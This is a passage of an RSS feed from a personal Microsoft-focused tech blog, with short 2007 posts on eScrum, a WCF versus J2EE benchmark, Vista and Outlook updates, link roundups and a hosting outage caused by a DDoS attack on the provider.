    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4316&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Microsoft eScrum</title>
      <link>/post/2007/07/microsoft-escrum/</link>
      <pubDate>Mon, 02 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/microsoft-escrum/</guid>
      <description>&lt;p&gt;Microsoft has released &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=55a4bde6-10a7-4c41-9938-f388c1ed15e9&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		eScrum v1.0
	&lt;/span&gt;
&lt;/a&gt; which is an add-on for TFS and if you use &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Scrum_%28development%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Scrum
	&lt;/span&gt;
&lt;/a&gt; then should be of interest to you.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4314&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Reassigning Ctrl&#43;Enter in IE</title>
      <link>/post/2007/07/reassigning-ctrlenter-in-ie/</link>
      <pubDate>Mon, 02 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/reassigning-ctrlenter-in-ie/</guid>
      <description>&lt;p&gt;If you ever wanted to reassign what Ctrl+Enter does in IE from the default of adding http://www. before and &amp;ldquo;.com&amp;rdquo; after what you entered in the address bar. Say you wanted to change this to go to &amp;ldquo;.net&amp;rdquo; or &amp;ldquo;.co.uk&amp;rdquo; then it is  a simple registry change &lt;a
	
		href = &#34;http://windowsxp.mvps.org/ie/quickcomplete.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		as shown by Ramesh
	&lt;/span&gt;
&lt;/a&gt;. Of course any registry change for the inexperienced is a daunting task and I suggest backing it up just incase you mess it up.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4315&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Cumulative Update for Vista MCE</title>
      <link>/post/2007/07/cumulative-update-for-vista-mce/</link>
      <pubDate>Sun, 01 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/cumulative-update-for-vista-mce/</guid>
      <description>&lt;p&gt;You might have noticed this via your Windows Update that Microsoft has released a cumulative update for Vista MCE! It is supposed to fix a number of issues, though I have not seen any changes (but then I was not having any issues in the first place). You can &lt;a
	
		href = &#34;http://support.microsoft.com/default.aspx/kb/935652&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		get details
	&lt;/span&gt;
&lt;/a&gt; on what this update contains.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4313&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Which performs better - WCF vs J2EE?</title>
      <link>/post/2007/07/which-performs-better-wcf-vs-j2ee/</link>
      <pubDate>Sun, 01 Jul 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/07/which-performs-better-wcf-vs-j2ee/</guid>
      <description>&lt;p&gt;Microsoft&amp;rsquo;s Connected Systems Division released the results of a benchmark study that showed that applications based on WCF Web services outperformed J2EE applications running on WebSphere (ver 6.1.07) by as much as whopping &lt;strong&gt;285 percent&lt;/strong&gt;! Woah! From a cost point of view, the .NET solution is supposed to be one-fifth of the IBM Java solution. For the study four core tests were benchmarked, namely:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Web Services: Remote activation of back-end services from the front-end Web application.&lt;/li&gt;
&lt;li&gt;Durable Messaging: Orders placed via transacted/durable queue in loosely-coupled architecture.&lt;/li&gt;
&lt;li&gt;Non-Durable Messaging: Orders placed via a non-durable/non-transacted queue.&lt;/li&gt;
&lt;li&gt;Monolithic: All elements of application run in a single JVM or CLR instance, no Web Services or messaging. In this mode, orders were set to be placed synchronously.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of course, given this is released by Microsoft there will be some bit of skepticism, but feel free to &lt;a
	
		href = &#34;http://download.microsoft.com/download/f/c/d/fcddf8b6-ae97-4cdb-bebc-ff22da524a98/TradeBenchmark.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		check out the details
	&lt;/span&gt;
&lt;/a&gt; (PDF) - 10.3 mb and 92 pages of both the study and the results.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4312&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Introduction to DSL - free chapter</title>
      <link>/post/2007/06/introduction-to-dsl-free-chapter/</link>
      <pubDate>Fri, 29 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/introduction-to-dsl-free-chapter/</guid>
      <description>&lt;p&gt;You can download the &lt;a
	
		href = &#34;http://www.theserverside.net/tt/articles/showarticle.tss?id=VisualStudioDSLTools_Chapter&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		first chapter for free
	&lt;/span&gt;
&lt;/a&gt; from Addison-Wesley&amp;rsquo;s &lt;a
	
		href = &#34;http://www.awprofessional.com/bookstore/product.asp?isbn=0321398203&amp;amp;rl=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		intro book on DSL
	&lt;/span&gt;
&lt;/a&gt;. If you are new to DSL&amp;rsquo;s (Domain Specific Language) this this is a good read. Here is a abstract from the publisher:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Domain-Specific Languages (DSLs)&amp;ndash;languages geared to specific vertical or horizontal areas of interest&amp;ndash;are generating growing excitement from software engineers and architects. DSLs bring new agility to the creation and evolution of software, allowing selected design aspects to be expressed in terms much closer to the system requirements than standard program code, significantly reducing development costs in large-scale projects and product lines. In this breakthrough book, four leading experts reveal exactly how DSLs work, and how you can make the most of them in your environment.&lt;/p&gt;
&lt;p&gt;With Domain-Specific Development with Visual Studio DSL Tools, you&amp;rsquo;ll begin by mastering DSL concepts and techniques that apply to all platforms. Next, you&amp;rsquo;ll discover how to create and use DSLs with the powerful new Microsoft DSL Tools&amp;ndash;a toolset designed by this book&amp;rsquo;s authors. Learn how the DSL Tools integrate into Visual Studio&amp;ndash;and how to define DSLs and generate Visual Designers using Visual Studio&amp;rsquo;s built-in modeling technology.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4311&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Art of Code Reviewing</title>
      <link>/post/2007/06/art-of-code-reviewing/</link>
      <pubDate>Thu, 28 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/art-of-code-reviewing/</guid>
      <description>&lt;p&gt;This is a true story and happened on one of my projects (which shall remain nameless). Below is the feedback from one of the client as they were doing our code reviews.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Line 66: there seem to be a few too many words starting with &amp;ldquo;f&amp;rdquo; in the salutations comment. [This is really picky – the commenting standard in this file has otherwise been really good so far.]&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;And incase you were wondering what was the code in question, here it is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/// &lt;param name=&#34;salutations&#34;&gt;The selection of Titles for which to choose from for a Contact&lt;/param&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;So, what is the problem you ask? Who said there was a problem. &lt;p&gt;

    &lt;img src=&#34;images/emotion-15.gif&#34; alt=&#34;Geeked&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4309&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #1</title>
      <link>/post/2007/06/interesting-find-1/</link>
      <pubDate>Thu, 28 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/interesting-find-1/</guid>
      <description>&lt;p&gt;I keep stumbling along many interesting finds online (well interesting to me) which I keep storing in OneNote and finally decided to start posting them here under the .link category. These mostly would be for me when I want to get them to a later stage.&lt;/p&gt;
&lt;p&gt;Without further adieu, here is the first of many finds:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.phrases.org.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Phrase Finder
	&lt;/span&gt;
&lt;/a&gt; - if you ever wanted to know about Phrases, Idioms and their meanings, origins and popular fallacies then check out the phrase finder. e.g. &lt;a
	
		href = &#34;http://www.phrases.org.uk/meanings/399150.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vis-à-vis
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.esnips.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		eSnips.com
	&lt;/span&gt;
&lt;/a&gt; - wanted to share files with others? Check out esnips.com which allows you to share any time of information with who and what you share. Read up &lt;a
	
		href = &#34;http://www.esnips.com/statments/about.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more here
	&lt;/span&gt;
&lt;/a&gt; and don&amp;rsquo;t forget to check out the &lt;a
	
		href = &#34;http://www.esnips.com/statments/terms.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		fine
	&lt;/span&gt;
&lt;/a&gt; &lt;a
	
		href = &#34;http://www.esnips.com/statments/privacy.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		print
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.google.com.au/search?q=JFGI&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		JFGI
	&lt;/span&gt;
&lt;/a&gt; (Just f***ing google it) - need one say any more? 😄&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.urbandictionary.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Urban Dictionary
	&lt;/span&gt;
&lt;/a&gt; - a slang dictionary with your definitions e.g. I recently heard there is something (or someone) called a &lt;a
	
		href = &#34;http://www.urbandictionary.com/define.php?term=neek&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Neek
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4310&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Life Changing Events</title>
      <link>/post/2007/06/life-changing-events/</link>
      <pubDate>Wed, 27 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/life-changing-events/</guid>
      <description>&lt;p&gt;Step 1:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://blaugh.com/2007/06/20/vowing-wedding-favors&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/070621_blogging_vows.gif&#34; alt=&#34;Vowing Wedding Favors&#34;/&gt;
        &lt;figcaption&gt;Vowing Wedding Favors&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step 2:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://blaugh.com/2007/06/20/skyping-baby-names&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/070620_naming_her_skype.gif&#34; alt=&#34;Skyping Baby Names&#34;/&gt;
        &lt;figcaption&gt;Skyping Baby Names&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4308&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Free ringtones from Microsoft</title>
      <link>/post/2007/06/free-ringtones-from-microsoft/</link>
      <pubDate>Mon, 25 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/free-ringtones-from-microsoft/</guid>
      <description>&lt;p&gt;Microsoft is &lt;a
	
		href = &#34;https://www.microsoft.com/windowsmobile/domore/ringtones.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		giving away free ringtones
	&lt;/span&gt;
&lt;/a&gt; (4 packs) for your Windows Mobile; don&amp;rsquo;t forget to read up on &lt;a
	
		href = &#34;https://www.microsoft.com/windowsmobile/gettingstarted/pocketpcphone/personalize/ringtones.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		how to install these
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4307&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Catching up with an old friend</title>
      <link>/post/2007/06/catching-up-with-an-old-friend/</link>
      <pubDate>Sat, 23 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/catching-up-with-an-old-friend/</guid>
      <description>&lt;p&gt;It has been so long that I can&amp;rsquo;t remember when I last spoke with my dear old friend &lt;a
	
		href = &#34;http://govindkanshi.wordpress.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Govind
	&lt;/span&gt;
&lt;/a&gt;. We use to work together back in Seattle. He is one guy who I have a lot of respect for and when he talks, you shutup and listen (yes I know that is very difficult for me to do). It is interesting the twists life throws at one and how everyone adapts and changes. It is difficult to imagine him now and how his priorities and what he is passionate about has shifted - one won&amp;rsquo;t even fathom the idea in your wildest dream.&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t even know why am I surprised about change - after all the only constant is change. Maybe I&amp;rsquo;ll learn someday - though don&amp;rsquo;t hold your breath.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4306&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Post DDOS attack - blog back on</title>
      <link>/post/2007/06/post-ddos-attack-blog-back-on/</link>
      <pubDate>Sat, 23 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/post-ddos-attack-blog-back-on/</guid>
      <description>&lt;p&gt;If you are an avid reader of this blog (who am I kidding) &amp;#x1f609;, you would have noticed that for the last couple of days it has been impossible to hit this site. The main reason for that being for the last 2-3 days &lt;a
	
		href = &#34;http://discountasp.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		discountAsp.net
	&lt;/span&gt;
&lt;/a&gt; (where I host this site) have been under a massive &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Denial-of-service_attack&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DDOS attack
	&lt;/span&gt;
&lt;/a&gt;. They setup &lt;a
	
		href = &#34;http://daspstatus.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		another site outside
	&lt;/span&gt;
&lt;/a&gt; of their data centers just to provide us (their customers) an update. Of course there is nothing they can do about such attacks and given the circumstances I think they did an excellent job in dealing with it and trying to keep their customers up to date - kudos guys!&lt;/p&gt;
&lt;p&gt;Their bandwidth utilization averages about 120 mb, but within 24 hours they went from that to 1 GB which saturated their 1 GB connection to their upstream provider (see graph below). That they say is equivalent to about 667 T1 Lines!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/dash_last24hour.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4305&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>British Humor</title>
      <link>/post/2007/06/british-humor/</link>
      <pubDate>Thu, 21 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/british-humor/</guid>
      <description>&lt;p&gt;Want some British Humor? Then check out &lt;a
	
		href = &#34;http://newsbiscuit.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NewsBiscuit
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4304&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Photosynth Preview</title>
      <link>/post/2007/06/photosynth-preview/</link>
      <pubDate>Wed, 20 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/photosynth-preview/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://labs.live.com/photosynth/whatis/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft&amp;rsquo;s Photosynth
	&lt;/span&gt;
&lt;/a&gt; - you &lt;a
	
		href = &#34;http://labs.live.com/photosynth/default.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		need to see it to believe it
	&lt;/span&gt;
&lt;/a&gt;! Absolutely jaw dropping!&lt;/p&gt;
&lt;p&gt;{via Lap&amp;rsquo;s &lt;a
	
		href = &#34;http://blog.lapnagra.net/2007/05/seadragon.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Moment&amp;rsquo;s of Distraction
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4286&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CS 2007 SP2</title>
      <link>/post/2007/06/cs-2007-sp2/</link>
      <pubDate>Tue, 19 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/cs-2007-sp2/</guid>
      <description>&lt;p&gt;Hot on the &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/06/01/upgraded-to-cs-2007-sp1.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		heels of SP1
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://telligent.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Telligent
	&lt;/span&gt;
&lt;/a&gt; has &lt;a
	
		href = &#34;http://communityserver.org/blogs/announcements/archive/2007/06/12/community-server-2007-sp2.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		released CS 2007 SP2
	&lt;/span&gt;
&lt;/a&gt;. You can read up on what has been fixed and you can &lt;a
	
		href = &#34;http://get.communityserver.org/download/cs2007sp2/Default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download it from here
	&lt;/span&gt;
&lt;/a&gt;. I have upgraded the blog to SP2 and everything seems to be running fine, but if something is amiss then &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/contact.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		let me know
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4178&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>lifeStation&#39;s upgraded to Vista</title>
      <link>/post/2007/06/lifestations-upgraded-to-vista/</link>
      <pubDate>Tue, 19 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/lifestations-upgraded-to-vista/</guid>
      <description>&lt;p&gt;If you recall I &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2006/12/10/cool-mce.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		talked about lifeStation
	&lt;/span&gt;
&lt;/a&gt; last year and Simon from &lt;a
	
		href = &#34;http://www.passivetechnologies.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Passive Technologies
	&lt;/span&gt;
&lt;/a&gt; posted a comment letting me know that they have upgraded all their machines to MCE Vista from MCE XP. There is also a new &lt;a
	
		href = &#34;http://www.passivetechnologies.com/passive_lifeserver.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		lifeServer
	&lt;/span&gt;
&lt;/a&gt; which boasts 6TB of storage and RAID 5 (though I cannot find out anywhere if this is 6TB of total storage or usable storage). On a separate note, this might be a good candidate to run &lt;a
	
		href = &#34;http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Home Server
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I think these are very cool machines though I don&amp;rsquo;t own one and the fact I still cannot find prices on their site suggests the target market is custom installers and not poor folks like me. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Microsoft Update Catalog (Beta)</title>
      <link>/post/2007/06/microsoft-update-catalog-beta/</link>
      <pubDate>Tue, 19 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/microsoft-update-catalog-beta/</guid>
      <description>&lt;p&gt;Microsoft has the &lt;a
	
		href = &#34;http://test.catalog.update.microsoft.com/v7/site/Home.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		beta version of their update catalog
	&lt;/span&gt;
&lt;/a&gt; which is a one-stop-shop to get updates, drivers, hotfixes, etc. Although it is aimed for corporate users anyone can use it and it would help those running more than one machine at home to get all the updates once instead of downloading them again and again.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4165&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Aero Wallpaper Pack</title>
      <link>/post/2007/06/aero-wallpaper-pack/</link>
      <pubDate>Thu, 07 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/aero-wallpaper-pack/</guid>
      <description>&lt;p&gt;A &lt;a
	
		href = &#34;http://mstn.homedns.org/asp/news/news_detail.asp?id=4903&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		few people
	&lt;/span&gt;
&lt;/a&gt; have released an interesting set of wallpapers which although they say is for Aero, you can use it with any OS. You can see a &lt;a
	
		href = &#34;http://ic1.deviantart.com/fs16/f/2007/136/e/a/Aero_Wallpaper_Pack_v18_by_sreeejith.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		screenshot here
	&lt;/span&gt;
&lt;/a&gt; and download it &lt;a
	
		href = &#34;http://www.mediafire.com/?cl0vddwmoie&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		from here
	&lt;/span&gt;
&lt;/a&gt; (~16 mb).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4023&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Computer Languages History</title>
      <link>/post/2007/06/computer-languages-history/</link>
      <pubDate>Thu, 07 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/computer-languages-history/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.levenez.com/lang/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Computer Languages timeline
	&lt;/span&gt;
&lt;/a&gt; was posted in one of the internal Avanade communities by a colleague and is pretty cool. Seems like Fortran was the &amp;ldquo;father&amp;rdquo; (or &amp;ldquo;mother&amp;rdquo; depending on your perspective) of all languages. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Outlook 2007 Performance Fix</title>
      <link>/post/2007/06/outlook-2007-performance-fix/</link>
      <pubDate>Thu, 07 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/outlook-2007-performance-fix/</guid>
      <description>&lt;p&gt;Microsoft has &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=c262bcfd-1e09-49b6-9003-c4c47539df66&amp;amp;DisplayLang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		released a update
	&lt;/span&gt;
&lt;/a&gt; (KB933493 for those interested) for Outlook 2007 which helps improve some perf issues when your PST files get very large.  I have not seen this myself but then my PST files are approx 1.5gb. More details can be &lt;a
	
		href = &#34;http://neowin.net/index.php?act=view&amp;amp;id=39465&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		found at Neowin
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4024&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WPF Application Portfolio</title>
      <link>/post/2007/06/wpf-application-portfolio/</link>
      <pubDate>Thu, 07 Jun 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/06/wpf-application-portfolio/</guid>
      <description>&lt;p&gt;The WPF wiki on Channel 9 has a &lt;a
	
		href = &#34;http://channel9.msdn.com/wiki/default.aspx/WPF.ApplicationPortfolio&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
